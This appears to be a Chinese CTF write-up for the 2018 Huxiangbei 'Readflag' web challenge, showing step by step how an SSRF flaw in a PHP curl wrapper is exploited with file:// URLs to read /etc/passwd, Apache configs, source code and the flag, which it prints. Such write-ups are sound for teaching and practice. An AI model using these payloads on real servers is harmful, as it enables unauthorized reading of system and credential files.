2018 湖湘杯 线上初赛

由于比赛冲突,湖湘杯也就没什么时间打,匆匆看了一题SSRF,以作笔记。

WEB

Readflag

1
2
3
来骗我的flag呀~

120.79.236.214:80

打开题目提示。

1
ssrf me with parameter 'url'

构造payload

1
/?url=file:///etc/passwd

可以看到回显,于是尝试读取Apache的配置文件。

1
?url=file:///etc/apache2/apache2.conf

得到网站目录信息。

1
2
3
4
5
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>

尝试直接读取flag,但是没有回显。

1
?url=file:///var/www/flag

再看配置文件可以得到如下信息。

1
2
3
4
5
6
7
8
9
10
#	/etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf

读取其他配置文件

1
?url=file:///etc/apache2/ports.conf

得到如下信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

跟进读取文件信息。

1
/?url=file:///etc/apache2/sites-enabled/000-default.conf

得到了web服务的真正根目录。

1
DocumentRoot /var/www/html/ssrf/web.php

读取源代码。

1
/?url=file:///var/www/html/ssrf/web.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}

}

?>

有一个关键信息system("/var/www/html/ssrf/readflag");,然后跟进读取文件。

1
/?url=file:///var/www/html/ssrf/readflag

然后得到一个二进制文件,使用IDA进行分析,对main函数进行反编译之后得到一个关键信息stream = fopen("flag", "r");

然后读取flag

1
/?url=file:///var/www/html/ssrf/flag

得到最终的flag

1
hxb2018{0ef0c0d15f1a44b47af2a01669fbf124}